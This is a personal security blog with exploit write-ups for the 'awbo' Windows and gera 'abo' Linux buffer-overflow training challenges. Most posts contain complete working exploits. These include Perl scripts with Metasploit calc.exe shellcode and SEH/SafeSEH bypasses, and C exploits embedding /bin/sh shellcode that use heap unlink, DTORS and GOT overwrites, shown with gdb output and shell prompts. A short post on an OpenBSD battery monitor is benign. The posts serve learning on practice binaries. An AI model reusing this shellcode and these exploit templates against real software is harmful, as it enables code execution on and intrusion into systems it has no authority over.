mov     eax, [ebp+var_8]                ; copy ebp-8 into eax--counter on stack
and     eax, 0FFh                       ; mask off everything except lsb
mov     cl, [ebp+var_4]                 ; copy ebp-4 into lsb of ecx
mov     [ebp+eax+var_88], cl            ; copy lsb of ecx to the stack based on ebp + counter in eax - 88
mov     dl, byte ptr [ebp+var_8]        ; copy counter in ebp-8 into lsb edx
add     dl, 1                           ; add 1 to counter
mov     byte ptr [ebp+var_8], dl        ; copy it back to ebp-8
jmp     short loc_401011                ; jump back to loc_401011

loc_40108D: -- return path

...

retn                            ; gimme your calc.exe
_main endp

awbo4 calls a function, filebuf(), that takes input from stdin and writes it somewhere in data land.

Then it loops through this buffer testing each character against 'A'. If an 'A' is seen, it breaks out of the loop and main returns, else it copies the character onto the stack. Fortunately for me, it just blindly copies characters to the stack without bounds checking.

There's an additional counter on the stack at ebp-8, that controls where on the stack the next character is written. This counter itself, can be overwritten. If this counter is carefully overwritten, it lets me overwrite main()'s saved return address

On return, ECX conveniently points to a piece of the input buffer, letting a call ecx instruction execute some shellcode.

Sunday, July 3, 2011

Advanced Windows Buffer Overflows: awbo3, XP

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "\x90" x (1024 - length($shellcode));
$filler2 = "A" x (1084 - length($filler) - length($shellcode));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x0b\x0b\x27\x00"; # call dword ptr[ebp+30] from unicode.nls no safeseh, outside of loaded modules
$jmp = "\xe9\x70\xfe\xff\xff"; # jmp back 400 bytes

print $filler . $shellcode . $filler2 . $nseh . $seh . $jmp;

I need to think harder on this one. I was able to get calc.exe to execute, but an exception somewhere in the shellcode causes another calc.exe to launch, and so on...

The version above is heavily based on Corelan's stuff. They do a better job of explaining Windows XP SP2's SafeSEH protections and how to bypass them.

One of the SafeSEH bypasses is to use a address in a module that hasn't been loaded into the program. For example, unicode.nls is accessible in awbo3.exe's address space, but is not loaded into the program. More importantly, unicode.nls contains a "call dword ptr[ebp+30]" instruction--similar to a "pop, pop, ret" for placing the next SEH record into EIP.

The Next SEH record still contains a "jmp 06" instruction to get me over the rest of the record.

There isn't enough space after the SEH record to hold the shellcode. In addition, some funny corruption was happening in my tests in that area. Instead, I put a large NOP slide and the shellcode in the buffer, then placed a "jmp -400" after the SEH record to get there.

Saturday, July 2, 2011

Advanced Windows Buffer Overflows: awbo2 Redux

While working on awbo3 and realizing it was the same exploit I crafted for awbo2, I decided to go back and think harder. Here is a direct saved EIP overwrite exploit.

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "A" x 1024;
$addr = "\x00" x 4;
$ebp = "B" x 4;
$eip = "\x8b\x94\xf8\x77"; # jmp esp from ntdll.dll
$nops = "\x90" x 4;

print $filler . $addr . $ebp . $eip . $nops . $shellcode;

It turns out that a printf("blah: %s", NULL) doesn't cause an exception. This lets me overwrite the saved buffer address on the stack with four \x00s and continue on my way to EIP.

On return from main, ESP points to a place where I can properly stick the shellcode.

Advanced Windows Buffer Overflows: awbo3, Win2k

awbo3.

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


$filler = "A" x 1024;
$addr = "\x00" x 4;
$cookie = "C" x 4;
$filler2 = "D" x (1084 - length($filler) - length($cookie) - length($addr));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77" ; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $addr . $cookie . $filler2 . $nseh . $seh . $nops . $shellcode;

IDA output with what I think's going on.

; function prologue
push ebp
mov ebp, esp

; set aside 1036 bytes of stack space for a buffer
sub esp, 1036

...

; dword_406030 is out in .data land and contains 00 0A 0D 20 (NULL \n \r ' ')
; move it to eax then to ebp-8
mov eax, dword_406030
mov [ebp-8], eax

; byte_406034 is out in .data land and contains 00 00
; move it to lsb of ecx and also ebp-4
; NULL terminates buffer, is my guess
mov cl, byte_406034
mov [ebp-4], cl

int 3 ; Trap to Debugger

; load address of buffer into edx
lea edx, [ebp-1036]

; save this address to ebp-12
mov [ebp-12], edx

; load address of buffer into eax, push to stack, and call gets()
lea eax, [ebp-1036]
push eax ; char *
call _gets

; clean up stack
add esp, 4

; copy saved buffer address into ecx, push to stack, push format string to stack and call printf(),
mov ecx, [ebp-12]
push ecx
push offset aYouSentMeS ; "You sent me: %s"
call _printf

; clean up stack
add esp, 8

; push 4 onto the stack
push 4 ; size_t

; unk_406048 is in .data land and points to 00 0A 0D 20 (NULL \n \r ' ')
push offset unk_406048 ; void *

; load address of saved "00 0A 0D 20" cookie from ebp-8 into edx and push to stack
lea edx, [ebp-8]
push edx ; void *

; call memcmp()
call _memcmp

; clean up stack
add esp, 12

; set CFLAGs to outcome of memcmp()
test eax, eax

; jmp if equals 0 (return value of memcmp is 0 for true)
jz short loc_40107C

; if memcmp does not equal 0
; push format string onto stack and call printf()
push offset aFail_ ; "Fail.\n"
call _printf

; clean up stack
add esp, 4

; push 4 onto stack
push 4

; push "AAAA" onto stack
push offset aAaaa ; "AAAA"

; push 0 onto stack
push 0

; memcpy(0, "AAAA", 0) causes a access violation--writing to NULL
call _memcpy

; should never get here
; clean up stack
add esp, 12

; memcmp equals 0
loc_40107C: ; CODE XREF: _main+5C^Xj

...

; return
retn

I can't use a direct saved EIP overwrite here because it would require my input to contain a "\x20\x0d\x0a\x00" (' ' \n \r NULL). The newline character will cause gets() to stop reading from stdin and I won't be able to properly overwrite EIP.

If I overwrite this "stack cookie" with whatever, memcmp will return non-zero and execution will take the failure path. In this failure path there is a memcpy(0, "AAAA", 4) which will cause a write attempt to NULL, causing an exception.

The exception allows me to use a SEH exploit, similar to awbo2.

Advanced Windows Buffer Overflows: awbo2

awbo2.exe.

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "A" x 1076;
$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77"; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $nseh . $seh . $nops . $shellcode;

main() sets aside 1028 (404h) bytes for a buffer, calls gets(), then printf(). Here is a snippet of IDA output:

; function prologue
push ebp
mov ebp, esp

; set aside 1028 bytes for a buffer
sub esp, 404h

...

; load address of the buffer into eax
lea eax, [ebp+var_404]

; copy this address to ebp-4, which is also buffer[1024]
mov [ebp+var_4], eax

; load address of the buffer into ecx
lea ecx, [ebp+var_404]

; push ecx onto the stack
push ecx

; call gets()
call _gets

; clean up stack after gets()
add esp, 4

; move the address from ebp-4/buffer[1024] into edx
mov edx, [ebp+var_4]

; push edx onto the stack
push edx

; push format string onto the stack
push offset aYouSentMeS ; "You sent me: %s"

; call printf()
call _printf

On my way to overwriting main's saved EIP, I overwrite the address of buffer which is placed at ebp-4/buffer[1024]. This turn's the printf into something like

printf("blah %s", *0x41414141);

which causes an exception and the program to exit. I couldn't figure out a proper value to overwrite this saved address with to allow main to return and since I have an exception to work with, I tried a SEH based exploit.

Using Metasploit's pattern_create.rb and pattern_offset.rb I was able to determine that the first SEH record could be overwritten with 1084 bytes--next SEH record starts at 1076 and the handler function pointer starts at 1080.

Following the generic SEH exploit template, I overwrote the handler's function pointer with an address to a pop/pop/ret series of instructions in kernel32.dll which causes the contents of the next SEH record pointer to be placed in EIP and executed. In the next SEH record pointer, I placed a jmp 6 instruction to jump over the rest of the next SEH record pointer+SEH handler to a small NOP slide and shellcode.

Friday, July 1, 2011

Advanced Windows Buffer Overflows: awboprimer

Thanks to Joel Esler of VRT for helping me get on the right track, environment wise.

If a just-in-time debugger hasn't been configured, an int 3 instruction (trap debugger) prevents the executable from running in a cmd.exe shell.

Configuring Immunity Debugger as the just-in-time debugger via the Win2k Registry:

In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Set "Debugger" to

"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld

I used hexedit to change the 0xCC instruction to a 0x90 so that I could run it without the debugger kicking in.

awboprimer. My introduction to buffer overflows on Windows.
#!/usr/bin/perl

$shellcode = "\x81\xec\x00\x01\x00\x00\xfc\xe8\x44\x00\x00" .
"\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$header = "AAAx";
$nops = "\x90" x 20;
$eip = "\xf4\x55\xed\x77"; # jmp eax
$filler = "A" x (256-length($shellcode)-length($nops));

print $header . $nops . $shellcode . $filler . $eip;

main() declares a 256 byte buffer on the stack, then calls gets(). If buffer[3] does not equal 'x', exit() is called--preventing a return from main.

264 bytes of input lets me overwrite EIP.

When main returns, ESP points to right after where main's saved EIP was. I thought I could place the shellcode here and overwrite EIP with a JMP ESP address to get there, but there wasn't enough space for the shellcode.

Looking at the other registers, EAX points to the beginning of the gets() buffer. Fortunately, the "AAAx" header turned into NOP instructions and there was enough space to put all the shellcode.

The NOPs before the shellcode were added to fix some instruction alignment issues when the shellcode executes.

Monday, June 27, 2011

NotesToMyself: OpenBSD sensorsd Based Battery Monitor

Setting up a plain and simple battery monitor using OpenBSD's sensorsd framework.

Get a list of sensors:

dennis@ipa:~$ sysctl hw.sensors
...
hw.sensors.acpibat0.watthour0=4.35 Wh (last full capacity)
hw.sensors.acpibat0.watthour1=0.43 Wh (warning capacity)
hw.sensors.acpibat0.watthour2=0.00 Wh (low capacity)
hw.sensors.acpibat0.watthour3=3.24 Wh (remaining capacity), OK
hw.sensors.acpibat0.raw0=1 (battery discharging), OK
hw.sensors.acpibat0.raw1=1957 (rate)
...

Configure /etc/sensorsd.conf similar to:

# alert if remaining capacity < warning capacity
hw.sensors.acpibat0.watthour3:low=0.43Wh:command=/usr/X11R6/bin/xmessage "battery is low"

Start/restart sensorsd via sudo /usr/sbin/sensorsd or sudo pkill -HUP sensorsd

Set sensorsd_flags="" in /etc/rc.conf.local to stick around on boot.

If remaining capacity goes below the warning capacity, a xmessage pop-up will interrupt you.

Monday, May 2, 2011

Advanced Buffer Overflow #10

/* abo10.c                                                   *
* specially crafted to feed your brain by gera@core-sdi.com */

/* Deja-vu                                                   */

char buf[256];

int main(int argv,char **argc) {
       char *pbuf=(char*)malloc(256);

       //gets(buf);
       strcpy(buf, argc[1]);
       free(pbuf);
}


As with abo9, I modified abo10 to use a strcpy().

buf is hanging out in the bss section and the malloc data structures are being overwritten from there.

Since there isn't much to work with, I'm overwriting DTORs to get code execution (see abo5)

This time around, I put the shellcode in env and am using murat's technique to reliability calculate the offset.

The rest is the same as abo9.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* nm -n abo10 | grep DTOR */
#define FUNCTION_POINTER ( 0x080495a8 )
/* murat's BUFFER OVERFLOWS DEMYSTIFIED shellcode in env technique */
#define CODE_ADDRESS ( 0xbffffffa - strlen(shellcode) - strlen(VULNERABLE))

#define VULNERABLE "/home/dennis/abo10/abo10"
#define NEGATIVE 0xfffffffc
#define JUNK 0xdefaced

char shellcode[] =
       /* the jump instruction */
       "\xeb\x0appssssffff"
       /* the Aleph One shellcode */
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void)
{
       char *p;
       char argv1[272 + 1];
       char *argv[] = { VULNERABLE, argv1, NULL };
       char *env[] = { shellcode, NULL };

       p = argv1;

       /* fill pbuf1 with padding */
       memset(p, 'A', 256);
       p += 256;

       /* the prev_size field of the second chunk */
       *((size_t *)p) = (size_t)(NEGATIVE);
       p += 4;

       /* the size field of the second chunk */
       /* the prev_size field of fake chunk */
       *((size_t *)p) = (size_t)(NEGATIVE);
       p += 4;

       /* the size field of the fake chunk */
       *((size_t *)p) = (size_t)(JUNK);
       p += 4;

       /* the fd field of the fake chunk */
       *((void **)p) = (void *)(FUNCTION_POINTER - 12);
       p += 4;
       printf("FUNCTION_POINTER - 12: %p\n", FUNCTION_POINTER - 12);

       /* the bk field of the fake chunk */
       *((void **)p) = (void *)(CODE_ADDRESS);
       p += 4;
       printf("CODE_ADDRESS: %p\n", CODE_ADDRESS);

       *p = '\0';

       execve(argv[0], argv, env);

       return -1;
}

[dennis@localhost abo10]$ ./abo10-exp
FUNCTION_POINTER - 12: 0x804959c
CODE_ADDRESS: 0xbfffffa9
sh-2.04$

Sunday, April 3, 2011

Advanced Buffer Overflow #9

abo9 was a challenge for me and I couldn't get through it by myself. The following helped significantly:

* w00w00 on Heap Overflows
* Vudo malloc tricks
* CoreSecurity Team's Vulnerabilities in your code - Advanced Buffer Overflows

/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      gets(pbuf1);
      free(pbuf2);
      free(pbuf1);
}


Set some breakpoints.

12              free(pbuf2);
13              free(pbuf1);
14      }
(gdb) break 12
Breakpoint 1 at 0x80484fe: file abo9.c, line 12.
(gdb) break 13
Breakpoint 2 at 0x804850c: file abo9.c, line 13.
(gdb) run < of Starting program: /home/dennis/abo9/tmp/abo9 < of 

Breakpoint 1, main (argv=1, argc=0xbffffb7c) at abo9.c:12
12              free(pbuf2);
Here are the malloc data structures before any free()s.

pbuf1:

prev_size: 0x00000000
size     : 0x00000109
data     : 0x41s and shellcode

(gdb) x/10x pbuf1 - 8
0x8049690:      0x00000000      0x00000109      0x41414141      0x41414141
0x80496a0:      0x70700ceb      0x73737373      0x66666666      0x1feb6666
0x80496b0:      0x0876895e      0x4688c031

pbuf2:

prev_size: 0xfffffffc (-4)
size     : 0xfffffffc (-4 with PREV_INUSE bit unset)
data     : pieces of the fake free chunk)

fake free chunk:

prev_size: 0xfffffffc (-4)
size     : 0x0defaced (junk)
fd       : 0x080495c4 (free GOT entry - 12)
bk       : 0x080496a0 (pbuf1 data)

(gdb) x/10x pbuf2 - 8
0x8049798:      0xfffffffc      0xfffffffc      0x0defaced      0x080495c4
0x80497a8:      0x080496a0      0x00000000      0x00000000      0x00000000
0x80497b8:      0x00000000      0x00000000

Just to verify what fd and bk of the fake chunk are pointing to.

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483b6
(gdb) x/x 0x080483b6
0x80483b6 <free+6>:     0x00003068

0x8049698:      0x41414141
(gdb) x/x 0x080496a0 - 8
0x8049698:      0x41414141

Execute free(pbuf2). This is where the unlink macro is used to overwrite things.

free() checks pbuf2's size field (which I control) and sees that the PREV_INUSE bit is not set. This means a neighboring chunk should be unlinked and merged with pbuf2. The neighboring chunk is calculated using pbuf2's prev_size field (which I control). In this case it is set to -4.

(gdb) x/x pbuf2
0x80497a0:      0xfffffff9
(gdb) x/x pbuf2 - 4
0x804979c:      0xfffffffc

At 0x804979c is where the fake chunk starts at.

The unlink macro looks something like this.

#define unlink(P, BK, FD) {
      BK = P->bk;
      FD = P->fd;
      FD->bk = BK;
      BK->fd = FD;
}

I visualize it like this.

P = fake_chunk
BK = fake_chunk->bk = (pbuf1)
FD = fake_chunk->fd = (got)
got + 12 = (pbuf1)
pbuf + 8 = (got)

Just to verify

(gdb) x/10x pbuf1 - 8
0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141
0x80496a0: 0x70700ceb 0x73737373 0x080495c4 0x1feb6666
0x80496b0: 0x0876895e 0x4688c031

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080496a0
(gdb) x/x 0x080496a0
0x80496a0: 0x70700ceb

That's the theory. In practice I couldn't implement it. I had to replace the gets() call with a strcpy(). The first jmp in the shellcode does contain a \x0a (\n) which would terminate the gets before everything is copied, but even making the jump longer, I couldn't get the shellcode to execute. After a long debug, I ran out of ideas.

dennis@ipa:~/abo9$ cat abo9strcpy.c                                          
/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      //gets(pbuf1);
      strcpy(pbuf1, argc[1]);
      free(pbuf2);
      free(pbuf1);
}


Here's the exploit, heavily based on the example from vudo.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* objdump -R abo9strcpy | grep free */
#define FUNCTION_POINTER ( 0x080495ec )
/* ltrace ./abo9strcpy | grep 256 */
#define CODE_ADDRESS ( 0x080496b8 + 2*4 )

#define VULNERABLE "./abo9strcpy"
#define NEGATIVE 0xfffffffc
#define JUNK 0xdefaced

char shellcode[] =
      /* the jump instruction */
      "\xeb\x0appssssffff"
      /* the Aleph One shellcode */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void)
{
      char *p;
      char argv1[272 + 1];
      char *argv[] = { VULNERABLE, argv1, NULL };

      p = argv1;

      /* fill pbuf1 with padding */
      memset(p, 'A', 8);
      p += 8;

      /* copy in shellcode */
      memcpy(p, shellcode, strlen(shellcode));
      p += strlen(shellcode);

      /* fill pbuf1 with more padding */
      memset(p, 'A', 256 - 8 - strlen(shellcode));
      p += 256 - 8 - strlen(shellcode);

      /* the prev_size field of the second chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the second chunk */
      /* the prev_size field of fake chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the fake chunk */
      *((size_t *)p) = (size_t)(JUNK);
      p += 4;

      /* the fd field of the fake chunk */
      *((void **)p) = (void *)(FUNCTION_POINTER - 12);
      p += 4;

      /* the bk field of the fake chunk */
      *((void **)p) = (void *)(CODE_ADDRESS);
      p += 4;

      *p = '\0';

      execve(argv[0], argv, NULL);

      return -1;
}


And in action.

[dennis@localhost abo9]$ ./unlink-exp
sh-2.04$

Wednesday, January 26, 2011

Advanced Buffer Overflow #7 Redux Redux

[dennis@localhost abo8-2]$ nm -n abo8

...

08049600 B buf
08049700 A _end

On this system, when buf is in the BSS, we can't overwrite anything useful.

Instead, I'm using this post as a note to myself about overwriting GOT entries in abo7. I've appended a printf() to abo7.c.
/* abo7.c                                                  *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* sometimes you can,       *
 * sometimes you don't      *
 * that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("printf me\n");
}

[dennis@localhost abo7-3]$ nm -n abo7

...

08049560 D buf
08049660 ? __EH_FRAME_BEGIN__
08049660 ? __FRAME_END__
08049660 d force_to_data
08049664 ? __CTOR_LIST__
08049668 ? __CTOR_END__
0804966c ? __DTOR_LIST__
08049670 ? __DTOR_END__
08049674 ? _GLOBAL_OFFSET_TABLE_

...

[dennis@localhost abo7-3]$ objdump -R abo7 | grep printf
0804968c R_386_JUMP_SLOT   printf

(gdb) x/x buf
0x8049560 :        0x00000001

(gdb) x/x 0x08049674
0x8049674 <_global_offset_table_>:      0x0804969c
(gdb) print /d 0x8049674 - 0x8049560
$2 = 276

(gdb) x/x 0x0804968c
0x804968c <_global_offset_table_+24>:   0x08048366
(gdb) x/x 0x08048366
0x8048366 <printf+6>:   0x00001868
(gdb) print /d 0x0804968c - 0x8049560
$3 = 300

GOT, 0x8049674, is 276 bytes away from buf and the printf entry, 0x0804968c is 300 bytes away.

Putting it together.
dennis@ipa:~/abo7-3$ cat exp.c7-3$ 1;2c
#include <stdio.h>
#include <string.h>

#define BUFLEN 304
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049560

char shellcode[] =
  /* aleph one shellcode */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
  char argv1[BUFLEN + 1];
  char *p;
  char *argv[] = { VULN, argv1, NULL };

  p = argv1;

  /* nops */
  memset(p, '\x90', 16);
  p += 16;

  /* shellcode */
  memcpy(p, shellcode, strlen(shellcode));
  p += strlen(shellcode);

  /* padding */
  memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
  p += (BUFLEN - 16 - strlen(shellcode) - 4);

  /* set printf got entry */
  *((void **)p) = (void *)RET;
  p += 4;

  *p = '\0';

  execve(argv[0], argv, NULL);
  return -1;
}

[dennis@localhost abo7-3]$ ./exp
sh-2.04$

Advanced Buffer Overflow #7 Redux

[dennis@localhost abo7-2]$ nm -n abo7

...

08049520 D buf
08049620 ? __EH_FRAME_BEGIN__
08049620 ? __FRAME_END__
08049620 d force_to_data
08049624 ? __CTOR_LIST__
08049628 ? __CTOR_END__
0804962c ? __DTOR_LIST__
08049630 ? __DTOR_END__
08049634 ? _GLOBAL_OFFSET_TABLE_

...

On this system, buf is located in a place where we can overwrite the DTOR data structure.
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0xffffffff
(gdb) print /x 0x0804962c + 4
$2 = 0x8049630
(gdb) x/x 0x8049630
0x8049630 <__dtor_end__>:       0x00000000
(gdb) x/x buf
0x8049520 :        0x00000041
(gdb) print /d 0x8049630 - 0x8049520
$5 = 272

DTOR starts at 0x804962c, we want to start overwritting at 0x804962c + 4 = 0x8049630. This is 272 bytes away from buf (at 0x8049520).
(gdb) run `perl -e 'print "A" x 272 . "B" x 4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/abo7-2/abo7 `perl -e 'print "A" x 272 . "B" x 4'`
Breakpoint 1, main (argv=2, argc=0xbffffa6c) at abo7.c:12
12      }
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0x41414141
(gdb) x/x 0x0804962c + 4
0x8049630 <__dtor_end__>:       0x42424242

Putting it together.
dennis@ipa:~/abo7-2$ cat exp.c                                                 
#include <stdio.h>
#include <string.h>

#define BUFLEN 276
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049520

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* nops */
        memset(p, '\x90', 16);
        p += 16;

        /* shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        /* padding */
        memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
        p += (BUFLEN - 16 - strlen(shellcode) - 4);

        /* set dtor */
        *((void **)p) = (void *)RET;
        p += 4;

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}

[dennis@localhost abo7-2]$ ./exp
sh-2.04$

Notes: Using a jmp for a return address

Just some notes to myself about using a jmp as a return address in an exploit.
dennis@ipa:~/bof-jmp$ cat vuln.c                                               
/* plant a jmp esp to use */
void func(void)
{
        __asm__("jmp *%esp");
}

int main(int argc, char *argv[])
{
        char buf[256];

        strcpy(buf, argv[1]);
}

At 268 + 4 bytes, eip is overwritten and esp points to the start of my buffer.
(gdb) run `perl -e 'print "A" x 268 . "B" x 4 . "C" x 4'`
Starting program: /home/dennis/jmp-example/vuln `perl -e 'print "A" x 268 . "B"
x 4 . "C" x 4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/x $esp
0xbffff9f0:     0x43434343

Need to find a suitable jmp esp instructions--avoid NULL bytes/other bad characters in the address.
root@bt:/ftphome# /pentest/exploits/framework3/msfelfscan -j esp vuln
[vuln]
0x08048463 jmp esp

Putting it together.
dennis@ipa:~/bof-jmp$ cat exp.c                                                
#include <stdio.h>
#include <string.h>

#define BUFLEN 400
#define VULN "./vuln"
#define RET 0x8048463

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* padding */
        memset(p, 'A', 268);
        p += 268;

        /* set eip */
        //memset(p, 'B', 4);
        *((void **)p) = (void *)RET;
        p += 4;

        /* set nops -- not really needed */
